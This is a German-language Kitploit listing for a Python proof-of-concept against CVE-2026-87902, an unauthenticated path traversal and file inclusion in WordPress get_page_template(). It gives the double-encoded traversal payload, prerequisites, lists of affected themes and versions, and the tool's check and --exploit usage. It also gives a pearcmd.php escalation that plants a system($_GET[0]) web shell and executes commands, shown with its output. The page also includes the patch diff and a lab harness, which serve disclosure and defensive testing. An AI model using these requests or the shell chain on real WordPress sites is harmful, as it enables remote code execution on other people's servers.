Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-87902 — Python-PoC für CVE-2026-87902, eine nicht authentifizierte WordPress-Path-Traversal-RCE über get_page_template(), mit Versions-Fingerprinting, Theme-Prüfungen und optionaler Dateieinbindung. | Kitploit
Tools/GitHubGitHub/vulpecuna/cve-2026-87902
SchwachstellenscannerSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsRemote-Access-ToolLabs & Praxis
GitHubvulpecuna/cve-2026-87902

CVE-2026-87902

Python-PoC für CVE-2026-87902, eine nicht authentifizierte WordPress-Path-Traversal-RCE über get_page_template(), mit Versions-Fingerprinting, Theme-Prüfungen und optionaler Dateieinbindung.

315vor 21h 51mNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-87902

AdvisoryGHSA-7hp8-65ch-5whp
ProduktWordPress <= 7.1.1, behoben in 7.1.2; beide Versionen getestet
Sinkwp-includes/template.php, get_page_template()
Ursacheder aus pagename erzeugte Kandidat wird nicht durch validate_file() geleitet
Akteuranonym, kein Konto, kein Cookie, kein CSRF-Token
Methodeeinzelnes GET, zwei Parameter
Wirkungbeliebige .php-Datei auf der Festplatte wird eingebunden und im WordPress-Prozess ausgeführt
EskalationRemote-Code-Ausführung, wo das PEAR-Gadget ausnutzbar ist, siehe PHP und Eskalation
Schreibzugriffe auf das Zielkeine mit dem Standard---include
Hier reproduziert6 Releases, 7 Themes, 4 PHP-Versionen

Request

root@kitploit:~
GET /?page_id=<any published page>&pagename=<payload> HTTP/1.1

<payload> ist das page--Verzeichnis, der Traversal und das Ziel, wobei jeder Punkt und jeder Schrägstrich doppelt kodiert ist:

root@kitploit:~
templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-admin%252finstall
FeldRolle
pagenamedie Payload. WP_Query leitet sie durch sanitize_title_for_query(), was einen literalen Punkt in einen Bindestrich umschreibt, aber prozentkodierte Oktette bewahrt. get_page_template() ruft dann urldecode() auf, um das Ergebnis in einen Pfad zu dekodieren
page_ideine beliebige veröffentlichte Seite, damit die Abfrage auf einen Beitrag passt, statt einen 404 zurückzugeben. Ohne sie wird das Seitentemplate nie geladen

Der Core bildet page-{urldecode($pagename)}.php und löst es gegen das Stylesheet-Verzeichnis auf. Die Kodierung ist erforderlich: sanitize_title_for_query() schreibt ein literales .. in - um.

Voraussetzungen

#BedingungWarum
1das aktive Theme liefert ein page-*-Verzeichnis auf oberster Ebene mitder Name ist page-{payload}.php, also muss sein erstes Segment auf der Festplatte auflösbar sein
2eine veröffentlichte Seite, die weder die Startseite noch die Beitragsseite istis_front_page und is_home werden vor is_page versucht
3die Zieldatei endet auf .phpder Core hängt die Erweiterung an

Keine hochgeladenen Inhalte, keine Änderung an der Seitenkonfiguration, am Theme oder am Core.

Alle 26 betroffenen Themes nennen das Verzeichnis page-templates. poc.py entnimmt den Namen aus themes.json, nimmt page-templates für ein Theme an, das nicht darin steht, und --root überschreibt mit einer kommagetrennten Liste.

Windows-Hosts lassen Voraussetzung 1 entfallen. Win32 hebt .. lexikalisch auf, sodass ein Segment, das nicht existiert, trotzdem durch das darauffolgende .. aufgehoben wird.

PfadErgebnis
C:\...\wordpress\page-nothing\..\README.mdexistiert
C:\...\wordpress\page-nothing\README.mdexistiert nicht

Getestet mit os.stat unter Windows 11, das dieselbe Win32-Pfadbehandlung wie PHPs file_exists() verwendet. WordPress selbst wurde nicht unter Windows ausgeführt.

Verwendung

Check, der Standard

Identifiziert das Theme und die beiden Versionen und fragt dann, ob das page-*-Verzeichnis existiert. Nichts wird eingebunden oder ausgeführt.

root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
 1  GET  /                                            200  WordPress 7.1.1, theme neve
 2  GET  /wp-content/themes/neve/style.css            200  neve 4.2.11
 3  GET  /wp-content/themes/neve/page-templates/      403  refused, which on its own establishes nothing
 4  GET  /wp-content/themes/neve/page-e464e285/       404  the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result    neve ships page-templates, core 7.1.1
next      rerun with --exploit to make the target prove it
Antwort auf page-<root>/Deutung
200das Verzeichnis ist vorhanden und listet auf
404kein solches Verzeichnis
403nicht schlüssig, also folgt eine Kontrollanfrage für page-<8 zufällige Hex-Zeichen>/
403 dann Kontrolle 404die Verweigerung betraf die Existenz, das Verzeichnis ist vorhanden
403 dann Kontrolle verweigertder Server lehnt ab, was auch immer gefragt wird, Exit 4

Betroffen erfordert beides: das Verzeichnis existiert, und die Version ist 7.1.1 oder niedriger.

Exploit

Führt zuerst den Check aus und bindet dann die Datei ein, es sei denn, der Check hat das Ziel ausgeschlossen.

root@kitploit:~
python3 poc.py --target https://example.com --exploit
root@kitploit:~
 5  GET  /?rest_route=/wp/v2/pages                    200  1 published page
 6  GET  /?page_id=2&pagename=page-templates/../../   200  1368 bytes, not the theme's page  [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result    wp-admin/install.php ran: WordPress &rsaquo; Installation

Ein gerendertes Theme-Template referenziert immer /wp-content/themes/ über wp_head(), eine eingebundene Datei von außerhalb des Themes nicht. Das ist die Urteilsregel.

Optionen

OptionStandardWirkung
--target URLerforderlichdie zu testende Installation
--exploitauseine Datei nach dem Check einbinden
--include PATHwp-admin/install.phpdie einzubindende .php. Relative Pfade werden vom WordPress-Root aus aufgelöst, absolute Pfade steigen mit --depth auf
--depth N7../-Sprünge für ein absolutes --include
--root NAME[,NAME]aus themes.jsondie zu versuchenden page-*-Verzeichnisse, ohne das Präfix page-
--page-id IDermitteltSeitenermittlung überspringen
--theme SLUGermitteltTheme-Suche überspringen
--theme-version VermitteltTheme-Versionssuche überspringen
--no-versionauskeine Anfrage stellen, deren einziger Zweck das Erlernen einer Version ist
--core-json PATHcore.jsonRelease-Fingerabdrücke, nur gelesen, wenn nichts eine Version preisgab
--traceausjeden Austausch ausgeben
--jsonausein JSON-Objekt, sonst nichts
--yesausdie Bestätigung überspringen
CodeCheckExploit
0betroffeneine .php außerhalb des Themes wurde eingebunden
1nicht betroffennicht eingebunden
2keine Antwort, oder die Antwort ist nicht WordPressgleich
3Verwendung, oder bei der Bestätigung abgelehntgleich
4nicht schlüssig, siehe die 403- und 7.1.x-Fällenicht verwendet

Das Standard---include ist wp-admin/install.php: in jedem WordPress unverkennbare Ausgabe, ändert nichts.

TLS-Zertifikate werden nicht verifiziert. Abgelaufene, selbstsignierte und mit falschem Hostnamen werden akzeptiert.

Versions-Fingerprinting

Der Reihe nach versucht, beim ersten, der antwortet, wird gestoppt.

QuelleKostenBei 7.1.1
generator-Meta auf der Startseitekostenlosexakte Version
?ver= auf einem /wp-includes/-Assetkostenlosexakte Version
/?feed=rss21 Anfrageexakte Version
/wp-links-opml.php1 Anfrageexakte Version
sha256 eines ausgelieferten Assets gegen core.json1 Anfragedie Menge der Releases, die diese Bytes ausliefern

core.json deckt die 112 veröffentlichten Releases und 7.1.2 ab, jeweils vier Assets. Deren Kreuzung benennt 9 Releases exakt und lässt einen Median von 4 Kandidaten übrig. Betroffen erfordert, dass jeder Kandidat 7.1.1 oder niedriger ist.

7.1.1 und 7.1.2 lassen sich von außen nicht unterscheiden. Die drei Dateien, die sich unterscheiden, sind wp-admin/about.php, wp-includes/template.php und wp-includes/version.php, von denen keine ausgeliefert wird. Eine 7.1.x-Seite, die ihre Version verbirgt, erhält Exit 4.

Themes

Die 200 meistinstallierten Themes auf wordpress.org. 26 liefern ein page-*-Verzeichnis mit und sind betroffen, zusammen 765.500 von 9.027.090 aktiven Installationen. Die anderen 174 scheitern an Voraussetzung 1.

ThemeVersionInstallationenpage-*StatusBestätigt
neve4.2.11200,000page-templates🔴 betroffenlab
sydney2.7180,000page-templates🔴 betroffenlab
hestia3.3.670,000page-templates🔴 betroffenlab
inspiro2.2.360,000page-templates🔴 betroffensurvey
colibri-wp1.0.16950,000page-templates🔴 betroffensurvey
twentyfourteen4.650,000page-templates🔴 betroffenlab
twentytwelve4.950,000page-templates🔴 betroffenlab
colormag4.2.540,000page-templates🔴 betroffenlab
zakra4.3.330,000page-templates🔴 betroffensurvey
spacious1.9.1220,000page-templates

lab bedeutet end-to-end mit poc.py gegen ein unverändertes Image getestet, survey bedeutet, das Verzeichnis wurde aus dem Theme-Archiv ausgelesen und das Theme wurde nicht aufgesetzt.

Getestet und nicht betroffen, keines davon mit einem page-*-Verzeichnis: astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive.

front-page.php, mitgeliefert von hestia, neve und anderen, ändert die Betroffenheit nicht. Es schließt nur die ID der Startseite für die Anfrage aus.

Versionen

ReleaseStandard-Theme des ImagesMit einem betroffenen ThemeBestätigt
7.1.2🟢 nicht betroffen, twentytwentyfive🟢 nicht betroffen, nevelab
7.1.1🟢 nicht betroffen, twentytwentyfive🔴 betroffen, nevelab
7.1.0🟢 nicht betroffen, twentytwentyfive🔴 betroffen, nevelab
7.0.4🟢 nicht betroffen, twentytwentyfive🔴 betroffen, nevelab
6.8.3🟢 nicht betroffen, twentytwentyfive🔴 betroffen, nevelab
6.1.0🟢 nicht betroffen, twentytwentythree🔴 betroffen, twentytwelvelab
4.9.8🟢 nicht betroffen, twentyseventeen🔴 betroffen, twentytwelvelab
die 105 anderen Releasesnicht gemessennicht gemessennicht gemessen
Theme-Versionkeine Voraussetzung, das page-*-Verzeichnis ist eine. neve 4.2.11 wurde auf 6.8.3 und höher verwendet, twentytwelve 4.9 auf den beiden älteren Cores
7.1.2kein veröffentlichtes Image. Getestet mit lab/run.py --core 7.1.2, das das offizielle Release-Archiv über 7.1.1-apache anwendet
Out of the boxkein Release ab 4.1 ist betroffen. twentyfifteen bis twentytwentyfive liefern kein page-*-Verzeichnis mit. twentyfourteen und twentytwelve tun es, und waren die Standard-Themes von 3.8 bis 4.0 und von 3.5, für die kein Image veröffentlicht ist
Nicht pullbar15 der 112 veröffentlichten Tags: 14 älter als 4.5.3-apache verwenden ein v1-Manifest, das containerd 2.1 ablehnt, und 4.5.3-apache hat ein Layer, das die Registry nicht ausliefern kann

Pro Release veröffentlichte PHP-Varianten, die die Eskalation unten bestimmen:

WordPress-ReleasesAls -apache veröffentlichte PHP-Varianten
4.1.x bis 4.5.xkeine, nur einfacher Tag, 5.6
4.6.x bis 5.0.x5.6 7.0 7.1 7.2 7.3
5.1.x bis 5.5.x7.1 7.2 7.3 7.4
5.6.x bis 6.0.x7.2 7.3 7.4 8.0 8.1
6.1.x bis 6.6.x7.4 8.0 8.1 8.2 8.3
6.7.x8.1 8.2 8.3 8.4
6.8.x und 6.9.x8.1 8.2 8.3 8.4 8.5
7.0.x und 7.1.x8.2 8.3 8.4 8.5

PHP und Eskalation

Die Dateieinbindung gelingt auf allen vier Images und pearcmd.php ist in jedem vorhanden. Die Befehlsausführung über das Gadget erfordert register_argc_argv aktiviert, was das php8.5-Image ausschaltet.

ImagePHPregister_argc_argv
$_SERVER['argv']
RCE über pearcmd.phpBestätigt
7.1.1-php8.2-apache8.2.33An, befüllt🔴 uid=33(www-data)lab
7.1.1-apache8.3.33An, befüllt🔴 uid=33(www-data)lab
7.1.1-php8.4-apache8.4.25An, befüllt🔴 uid=33(www-data)lab
7.1.1-php8.5-apache8.5.10Aus, null🟢 nicht erreichtlab

Gelesen über apache2handler, nicht über die CLI, die die Einstellung erzwingt. Die beiden Anfragen hinter der RCE-Spalte:

root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
   -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

poc.py bindet eine Datei ein, es steuert das Gadget nicht. Erreiche es mit --include /usr/local/lib/php/pearcmd.php --depth 7. Auf dem 8.5-Image wurde nach keinem anderen Gadget als pearcmd.php gesucht.

Fix

Aus wordpress-7.1.2.zip ausgelesen. Zwei Änderungen.

root@kitploit:~
  // wp-includes/template.php, get_page_template()
  if ( $pagename ) {
      $pagename_decoded = urldecode( $pagename );
-     if ( $pagename_decoded !== $pagename ) {
+     if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
          $templates[] = "page-{$pagename_decoded}.php";
      }
      $templates[] = "page-{$pagename}.php";
  }
root@kitploit:~
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+     global $wp_stylesheet_path, $wp_template_path;
+
+     // A file path that exists and does not contain `..` is allowed.
+     if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+         return true;
+     }
+
+     $real_path = realpath( $path );
+     if ( false === $real_path ) {
+         return false;
+     }
+     $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+     $directories = array(
+         $wp_stylesheet_path,
+         $wp_template_path,
+         ABSPATH . WPINC . '/theme-compat',
+     );
+     // ... plus the parent directory of a theme that lives in a subdirectory
+
+     foreach ( $directories as $directory ) {
+         $real_directory = realpath( $directory );
+         if ( false === $real_directory ) {
+             continue;
+         }
+         if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+             return true;
+         }
+     }
+     return false;
+ }

Der erste behebt den verwundbaren Zweig, der zweite prüft jeden aufgelösten Template-Pfad, was auch immer ihn erzeugt hat. Getestet: auf 7.1.2 mit aktivem neve und vorhandenem page-templates rendert dieselbe Anfrage die eigene Seite des Themes, 55.084 Bytes, statt des Installers.

Eine zweite Route existiert auf 7.1.1 und früher:

root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
Wie sie sich unterscheidetlenkt WP_Query in seinen post_name-Zweig, der pagename nie umschreibt, sodass ein literales .. funktioniert
Was sie benötigtein Theme ohne single.php, weil is_single vor is_page versucht wird
Getestet auf7.1.1 mit bloghash
Warum sie hier stehtsie überlebt einen Fix, der allein den Sanitizer härtet. Die obige Containment-Prüfung schließt sie ebenfalls

Lab

root@kitploit:~
python3 lab/run.py                       # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions    # rewrite lab/versions.txt from the registry
python3 lab/themes.py                    # rebuild themes.json
python3 lab/core.py --also 7.1.2         # rebuild core.json
root@kitploit:~
 1/9  7.1.1-apache  affected     0  included      twentytwelve      wp-admin/install.php ran
 2/9  7.1.1-apache  affected     0  included      hestia            wp-admin/install.php ran
 3/9  7.1.1-apache  affected     0  included      neve              wp-admin/install.php ran
 4/9  7.1.1-apache  affected     0  included      colormag          wp-admin/install.php ran
 5/9  7.1.1-apache  affected     0  included      sydney            wp-admin/install.php ran
 6/9  7.1.1-apache  unaffected   1  not included  twentytwentyfive  no page-* directory
 7/9  7.1.1-apache  affected     0  included      bloghash          wp-admin/install.php ran
 8/9  7.1.1-apache  unaffected   1  not included  kadence           no page-* directory
 9/9  7.1.1-apache  unaffected   1  not included  astra             no page-* directory
Pro Zeile
Imageoffizielles wordpress:<tag>, unverändert
Isolationeigener Container, eigener Port, eigene Datenbank in der gemeinsamen MariaDB
Installationüber HTTP durch wp-admin/install.php, sodass keine Version ein passendes wp-cli benötigt
Zustandwie der Installer ihn hinterlässt, eine veröffentlichte Seite, nichts hochgeladen
Angesteuert mitpoc.py --exploit, sodass eine Zeile die Einbindung misst und nicht das Erscheinungsbild
OptionStandardWirkung
--jobs N2Zeilen parallel
--theme SLUG[@VERSION]keineauf jeder Zeile installieren und aktivieren
--core VERSIONkeinedieses offizielle Release über den Core des Images anwenden, so wird ein Release ohne Image ausgeführt
--keepausdie Instanzen laufen lassen, Admin-Passwort am Ende ausgegeben
--pruneausImages löschen, die dieser Lauf gepullt hat
--port-base N8110erster Port, einer pro Zeile, nur 127.0.0.1
--db-imagemariadb:10.6Datenbank-Image
--timeout N180Sekunden, die ein Container zum Antworten hat
--out PATHlab/results.jsonDetail pro Zeile

Exit-Codes: 0 jede Zeile gemessen, 1 mindestens eine nicht, 2 Docker fehlt oder nichts auszuführen, 3 Verwendung oder abgelehnt. Ein WordPress-Image ist 600 MB bis 1,1 GB, also ist --all ohne --prune zig GB.

.github/workflows/lab.yml führt vier Zeilen bei jeder Änderung am PoC oder am Lab aus, und wöchentlich: ein betroffenes Theme auf 7.1.1 und auf 6.8.3, das Standard-Theme des Images und die php8.5-Variante. Jede prüft ihren erwarteten Exit-Code.

Referenzen

AdvisoryGHSA-7hp8-65ch-5whp
Write-uphttps://ressl.ch/blog/cve-2026-87902-wordpress/
Weiterer PoChttps://github.com/ressl/cve-2026-87902-poc

Zwei Ideen aus diesem PoC, beide hier zuerst getestet:

IdeeBeibehaltenGetestet
/index.php?rest_route= und /wp-json/ als Fallback-Routen für die Seitenauflistungjadie Ermittlung gelingt über eine der drei
eine Seite ohne eigenes Seitentemplate bevorzugen, da get_page_template() dieses Template zuerst versuchtja, als Reihenfolgedas Erzwingen einer Seite, die eines trägt, reproduzierte trotzdem auf 7.1.1, kostet also schlimmstenfalls eine Anfrage

Dateien

root@kitploit:~
poc.py              the PoC, standalone, stdlib only
themes.json         per-theme facts poc.py reads (generated)
core.json           asset fingerprints per release (generated)
lab/run.py          the lab
lab/themes.py       rebuilds themes.json from the survey and the archive cache
lab/core.py         rebuilds core.json from the official release archives
lab/survey.json     200 most-installed themes, their version and page-* directories
lab/targets.txt     the pool lab/run.py stands up by default
lab/versions.txt    112 published releases (generated from the registry)
lab/results.json    last run (ignored)
lab/.cache/         theme and release archives (ignored)
attic/              previous attempt, unwired, ignored

Anforderungen: Docker, Python 3.8+, keine Drittanbieter-Pakete.

Tool herunterladen
🔴 betroffen
survey
hueman3.7.2720,000page-templates🔴 betroffensurvey
bloghash1.0.3010,000page-templates🔴 betroffenlab
botiga2.4.910,000page-templates🔴 betroffensurvey
tutorstarter4.0.310,000page-templates🔴 betroffensurvey
mesmerize1.6.18710,000page-templates🔴 betroffensurvey
flash1.4.1210,000page-templates🔴 betroffensurvey
shapely1.3.610,000page-templates🔴 betroffensurvey
silverstorm1.0.368,000page-templates🔴 betroffensurvey
prespa1.7.88,000page-templates🔴 betroffensurvey
hybridmag1.1.46,000page-templates🔴 betroffensurvey
chromenews6.2.105,000page-templates🔴 betroffensurvey
morenews4.3.105,000page-templates🔴 betroffensurvey
newsexo9.12,000page-templates🔴 betroffensurvey
reviewnews2.0.51,000page-templates🔴 betroffensurvey
the8-shop-dark1.0.5400page-templates🔴 betroffensurvey
newsonline0.6100page-templates🔴 betroffensurvey